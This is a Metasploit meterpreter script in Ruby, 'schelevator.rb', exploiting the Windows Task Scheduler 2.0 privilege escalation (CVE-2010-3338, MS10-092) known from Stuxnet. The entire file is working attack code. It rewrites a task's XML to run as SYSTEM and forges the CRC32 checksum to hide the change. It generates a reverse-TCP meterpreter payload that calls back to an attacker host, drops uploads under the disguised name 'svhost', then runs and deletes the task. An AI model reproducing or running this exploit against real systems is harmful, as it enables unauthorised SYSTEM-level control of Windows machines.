schelevator.rb

##
#
# This script exploits the Task Scheduler 2.0 XML 0day exploited by Stuxnet
#
# Disclosed around Oct 22, 2010
#
# written by jduck
#
# NOTE: Thanks to webDEViL for the information about disable/enable.
# http://www.exploit-db.com/exploits/15589/
#
# CVE 2010-3338
# MSB MS10-092
#
##

require 'zlib'

#
# Filter out sessions that this definitely won't work on.
#
if session.platform !~ /win32|win64|java/
  print_error("#{session.platform} is not supported.")
  raise Rex::Script::Completed
end

if session.sys.config.sysinfo["Architecture"] =~ /wow64/i
  #
  # WOW64 Filesystem Redirection prevents us opening the file directly. To make matters
  # worse, meterpreter/railgun creates things in a new thread, making it much more
  # difficult to disable via Wow64EnableWow64FsRedirection. Until we can get around this,
  # offer a workaround and error out.
  #
  print_error("Running against via WOW64 is not supported, try using an x64 meterpreter...")
  raise Rex::Script::Completed
end

vuln = false
winver = session.sys.config.sysinfo["OS"]
affected = [ 'Windows Vista', 'Windows 7', 'Windows 2008' ]
affected.each { |v|
  if winver.include? v
    vuln = true
    break
  end
}
if not vuln
  print_error("#{winver} is not vulnerable.")
  raise Rex::Script::Completed
end


#
# We have a chance to succeed, check params
#
@@exec_opts = Rex::Parser::Arguments.new(
  "-h" => [ false, "Help menu." ],
  "-c" => [ true, "Execute the specified command" ],
  "-u" => [ true, "Upload and execute the specified file" ],
  "-r" => [ true, "The IP of the system running Metasploit listening for the connect back"],
  "-p" => [ true, "The port on the remote host where Metasploit is listening"],
  "-t" => [ true, "Use the specified task name" ]
)

def usage
  print_line("Schelevator -- Exploit for Windows Vista/7/2008 Task Scheduler 2.0 Privilege Escalation")
  print(@@exec_opts.usage)
  raise Rex::Script::Completed
end

rhost = Rex::Socket.source_address
rport = 4444
taskname = nil
cmd = nil
upload_fn = nil
@@exec_opts.parse(args) { |opt, idx, val|
  case opt

  when "-c"
    cmd = val

  when "-u"
    upload_fn = val
    if not ::File.exists?(upload_fn)
      raise "Specified file to upload does not exist!"
    end

  when "-t"
    taskname = val

  when "-h"
    usage

  when "-r"
    rhost = val

  when "-p"
    rport = val.to_i
  end
}

envs = session.sys.config.getenvs('SystemRoot', 'TEMP')
sysdir = envs['SystemRoot']
tmpdir = envs['TEMP']

# Must have at least one of -c or -u
if not cmd and not upload_fn
  print_status("Using default reverse-connect meterpreter payload; -c or -u not specified")

  # Get the exe payload.
  pay = client.framework.payloads.create("windows/meterpreter/reverse_tcp")
  pay.datastore['LHOST'] = rhost
  pay.datastore['LPORT'] = rport
  raw  = pay.generate
  exe = Msf::Util::EXE.to_win32pe(client.framework, raw)
  #and placing it on the target in %TEMP%
  tempexename = Rex::Text.rand_text_alpha(rand(8)+6)
  cmd = tmpdir + "\\" + tempexename + ".exe"
  print_status("Preparing connect back payload to host #{rhost} and port #{rport} at #{cmd}")
  fd = client.fs.file.new(cmd, "wb")
  fd.write(exe)
  fd.close

  #get handler to be ready
  handler = client.framework.exploits.create("multi/handler")
  handler.datastore['PAYLOAD'] = "windows/meterpreter/reverse_tcp"
  handler.datastore['LHOST']   = rhost
  handler.datastore['LPORT']   = rport
  handler.datastore['InitialAutoRunScript'] = "migrate -f"
  handler.datastore['ExitOnSession'] = false
  #start a handler to be ready
  handler.exploit_simple(
    'Payload'	=> handler.datastore['PAYLOAD'],
    'RunAsJob'       => true
  )
end

if cmd
  print_status("Using command: #{cmd}")
end

#
# Upload the payload command if needed
#
if upload_fn
  begin
    location = tmpdir.dup
    ext = upload_fn.split('.')
    if ext
      ext = ext.last.downcase
      if ext == "exe"
        location << "\\svhost#{rand(100)}.exe"
      else
        location << "\\TMP#{rand(100)}.#{ext}"
      end
    else
      location << "\\TMP#{rand(100)}"
    end

    print_status("Uploading #{upload_fn} to #{location}....")
    session.fs.file.upload_file(location, upload_fn)
    print_status("Upload complete.")
  rescue ::Exception => e
    print_error("Error uploading file #{upload_fn}: #{e.class} #{e}")
    raise e
  end

  cmd ||= location
end

def crc32(data)
  table = Zlib.crc_table
  crc = 0xffffffff
  data.unpack('C*').each { |b|
    crc = table[(crc & 0xff) ^ b] ^ (crc >> 8)
  }
  crc
end

def fix_crc32(data, old_crc)
  #
  # CRC32 stuff from ESET (presumably reversed from Stuxnet, which was presumably
  # reversed from Microsoft's code)
  #
  bwd_table = [
    0x00000000, 0xDB710641, 0x6D930AC3, 0xB6E20C82,
    0xDB261586, 0x005713C7, 0xB6B51F45, 0x6DC41904,
    0x6D3D2D4D, 0xB64C2B0C, 0x00AE278E, 0xDBDF21CF,
    0xB61B38CB, 0x6D6A3E8A, 0xDB883208, 0x00F93449,
    0xDA7A5A9A, 0x010B5CDB, 0xB7E95059, 0x6C985618,
    0x015C4F1C, 0xDA2D495D, 0x6CCF45DF, 0xB7BE439E,
    0xB74777D7, 0x6C367196, 0xDAD47D14, 0x01A57B55,
    0x6C616251, 0xB7106410, 0x01F26892, 0xDA836ED3,
    0x6F85B375, 0xB4F4B534, 0x0216B9B6, 0xD967BFF7,
    0xB4A3A6F3, 0x6FD2A0B2, 0xD930AC30, 0x0241AA71,
    0x02B89E38, 0xD9C99879, 0x6F2B94FB, 0xB45A92BA,
    0xD99E8BBE, 0x02EF8DFF, 0xB40D817D, 0x6F7C873C,
    0xB5FFE9EF, 0x6E8EEFAE, 0xD86CE32C, 0x031DE56D,
    0x6ED9FC69, 0xB5A8FA28, 0x034AF6AA, 0xD83BF0EB,
    0xD8C2C4A2, 0x03B3C2E3, 0xB551CE61, 0x6E20C820,
    0x03E4D124, 0xD895D765, 0x6E77DBE7, 0xB506DDA6,
    0xDF0B66EA, 0x047A60AB, 0xB2986C29, 0x69E96A68,
    0x042D736C, 0xDF5C752D, 0x69BE79AF, 0xB2CF7FEE,
    0xB2364BA7, 0x69474DE6, 0xDFA54164, 0x04D44725,
    0x69105E21, 0xB2615860, 0x048354E2, 0xDFF252A3,
    0x05713C70, 0xDE003A31, 0x68E236B3, 0xB39330F2,
    0xDE5729F6, 0x05262FB7, 0xB3C42335, 0x68B52574,
    0x684C113D, 0xB33D177C, 0x05DF1BFE, 0xDEAE1DBF,
    0xB36A04BB, 0x681B02FA, 0xDEF90E78, 0x05880839,
    0xB08ED59F, 0x6BFFD3DE, 0xDD1DDF5C, 0x066CD91D,
    0x6BA8C019, 0xB0D9C658, 0x063BCADA, 0xDD4ACC9B,
    0xDDB3F8D2, 0x06C2FE93, 0xB020F211, 0x6B51F450,
    0x0695ED54, 0xDDE4EB15, 0x6B06E797, 0xB077E1D6,
    0x6AF48F05, 0xB1858944, 0x076785C6, 0xDC168387,
    0xB1D29A83, 0x6AA39CC2, 0xDC419040, 0x07309601,
    0x07C9A248, 0xDCB8A409, 0x6A5AA88B, 0xB12BAECA,
    0xDCEFB7CE, 0x079EB18F, 0xB17CBD0D, 0x6A0DBB4C,
    0x6567CB95, 0xBE16CDD4, 0x08F4C156, 0xD385C717,
    0xBE41DE13, 0x6530D852, 0xD3D2D4D0, 0x08A3D291,
    0x085AE6D8, 0xD32BE099, 0x65C9EC1B, 0xBEB8EA5A,
    0xD37CF35E, 0x080DF51F, 0xBEEFF99D, 0x659EFFDC,
    0xBF1D910F, 0x646C974E, 0xD28E9BCC, 0x09FF9D8D,
    0x643B8489, 0xBF4A82C8, 0x09A88E4A, 0xD2D9880B,
    0xD220BC42, 0x0951BA03, 0xBFB3B681, 0x64C2B0C0,
    0x0906A9C4, 0xD277AF85, 0x6495A307, 0xBFE4A546,
    0x0AE278E0, 0xD1937EA1, 0x67717223, 0xBC007462,
    0xD1C46D66, 0x0AB56B27, 0xBC5767A5, 0x672661E4,
    0x67DF55AD, 0xBCAE53EC, 0x0A4C5F6E, 0xD13D592F,
    0xBCF9402B, 0x6788466A, 0xD16A4AE8, 0x0A1B4CA9,
    0xD098227A, 0x0BE9243B, 0xBD0B28B9, 0x667A2EF8,
    0x0BBE37FC, 0xD0CF31BD, 0x662D3D3F, 0xBD5C3B7E,
    0xBDA50F37, 0x66D40976, 0xD03605F4, 0x0B4703B5,
    0x66831AB1, 0xBDF21CF0, 0x0B101072, 0xD0611633,
    0xBA6CAD7F, 0x611DAB3E, 0xD7FFA7BC, 0x0C8EA1FD,
    0x614AB8F9, 0xBA3BBEB8, 0x0CD9B23A, 0xD7A8B47B,
    0xD7518032, 0x0C208673, 0xBAC28AF1, 0x61B38CB0,
    0x0C7795B4, 0xD70693F5, 0x61E49F77, 0xBA959936,
    0x6016F7E5, 0xBB67F1A4, 0x0D85FD26, 0xD6F4FB67,
    0xBB30E263, 0x6041E422, 0xD6A3E8A0, 0x0DD2EEE1,
    0x0D2BDAA8, 0xD65ADCE9, 0x60B8D06B, 0xBBC9D62A,
    0xD60DCF2E, 0x0D7CC96F, 0xBB9EC5ED, 0x60EFC3AC,
    0xD5E91E0A, 0x0E98184B, 0xB87A14C9, 0x630B1288,
    0x0ECF0B8C, 0xD5BE0DCD, 0x635C014F, 0xB82D070E,
    0xB8D43347, 0x63A53506, 0xD5473984, 0x0E363FC5,
    0x63F226C1, 0xB8832080, 0x0E612C02, 0xD5102A43,
    0x0F934490, 0xD4E242D1, 0x62004E53, 0xB9714812,
    0xD4B55116, 0x0FC45757, 0xB9265BD5, 0x62575D94,
    0x62AE69DD, 0xB9DF6F9C, 0x0F3D631E, 0xD44C655F,
    0xB9887C5B, 0x62F97A1A, 0xD41B7698, 0x0F6A70D9
  ]

  crc = crc32(data[0, data.length - 12])
  data[-12, 4] = [crc].pack('V')

  data[-12, 12].unpack('C*').reverse.each { |b|
    old_crc = ((old_crc << 8) ^ bwd_table[old_crc >> 24] ^ b) & 0xffffffff
  }
  data[-12, 4] = [old_crc].pack('V')
end

def exec_schtasks(cmdline, purpose)
  lns = cmd_exec("cmd.exe /c " + cmdline + " && echo SCHELEVATOR")
  success = false
  lns.each_line { |ln|
    ln.chomp!
    if ln =~ /^SCHELEVATOR$/
      success = true
    else
      print_status(ln)
    end
  }
  raise "Unable to #{purpose}!" if not success
end


def read_task_file(taskname, taskfile)
  print_status("Reading the task file contents from #{taskfile}...")

  # Can't read the file directly on 2008?
  content = ''
  fd = client.fs.file.new(taskfile, "rb")
  until fd.eof?
    content << fd.read
  end
  fd.close

  content
end


#
# Create a new task to do our bidding, but make sure it doesn't run.
#
taskname ||= Rex::Text.rand_text_alphanumeric(8+rand(8))
taskfile = "#{sysdir}\\system32\\tasks\\#{taskname}"

print_status("Creating task: #{taskname}")
cmdline = "schtasks.exe /create /tn #{taskname} /tr \"#{cmd}\" /sc monthly /f"
exec_schtasks(cmdline, "create the task")

#
# Read the contents of the newly creates task file
#
content = read_task_file(taskname, taskfile)

#
# Double-check that we got what we expect.
#
if content[0,2] != "\xff\xfe"
  #
  # Convert to unicode, since it isn't already
  #
  content = content.unpack('C*').pack('v*')
else
  #
  # NOTE: we strip the BOM here to exclude it from the crc32 calculation
  #
  content = content[2,content.length]
end


#
# Record the crc32 for later calculations
#
old_crc32 = crc32(content)
print_status("Original CRC32: 0x%x" % old_crc32)

#
# Convert the file contents from unicode
#
content = content.unpack('v*').pack('C*')

#
# Mangle the contents to now run with SYSTEM privileges
#
content.gsub!('LeastPrivilege', 'HighestAvailable')
content.gsub!(/<UserId>.*<\/UserId>/, '<UserId>S-1-5-18</UserId>')
content.gsub!(/<Author>.*<\/Author>/, '<Author>S-1-5-18</Author>')
#content.gsub!('<LogonType>InteractiveToken</LogonType>', '<LogonType>Password</LogonType>')
content.gsub!('Principal id="Author"', 'Principal id="LocalSystem"')
content.gsub!('Actions Context="Author"', 'Actions Context="LocalSystem"')
content << "<!-- ZZ -->"

#
# Convert it back to unicode
#
content = Rex::Text.to_unicode(content)

#
# Fix it so the CRC matches again
#
fix_crc32(content, old_crc32)
new_crc32 = crc32(content)
print_status("Final CRC32: 0x%x" % new_crc32)

#
# Write the new content back
#
print_status("Writing our modified content back...")
fd = client.fs.file.new(taskfile, "wb")
fd.write "\xff\xfe" + content
fd.close

#
# Run the task :-)
#
print_status("Disabling the task...")
exec_schtasks("schtasks.exe /change /tn #{taskname} /disable", "disable the task")

print_status("Enabling the task...")
exec_schtasks("schtasks.exe /change /tn #{taskname} /enable", "enable the task")

print_status("Executing the task...")
exec_schtasks("schtasks.exe /run /tn #{taskname}", "run the task")


#
# And delete it.
#
print_status("Deleting the task...")
exec_schtasks("schtasks.exe /delete /f /tn #{taskname}", "delete the task")